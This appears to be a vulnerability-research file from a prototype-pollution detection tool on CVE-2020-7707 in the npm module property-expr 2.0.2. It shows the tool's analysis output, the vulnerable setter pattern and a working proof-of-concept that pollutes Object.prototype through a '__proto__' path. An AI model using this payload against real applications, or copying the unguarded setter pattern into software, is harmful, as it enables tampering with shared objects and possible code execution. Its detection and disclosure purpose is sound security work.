CVE-2020-7707.js

// Module Name : property-expr
// Version : 2.0.2
// CVE number : CVE-2020-7707
// CVSS score : 9.8 (CVSS 3.0)
// Published Date : 19 Aug, 2020

/* DAPP analysis result
[+] FileSize(Bytes) : 7331
[+] Total Time(ms) : 3760
[+] Analysis Time(ms) : 171
[+] Detected AST Pattern 1 : 2
[+] Detected AST Pattern 2 : 1
SCC generation complete

**********Prototype Pollution v2 found!**********
[ 5124, 5151 ] data = data [ undefined ]
[ 5170, 5196 ] data [ undefined ]= value
*/

// Prototype pollution source code patterns detected
/*
setter: function(path){
	...
	data = data[parts[index++]]  //AST Pattern1
	...
	data[parts[index]] = value   //AST Pattern2
	...
}
*/

// POC of CVE-2020-7707
var expr = require('property-expr')
expr.setter('__proto__.polluted')({}, true)
console.log(polluted) // true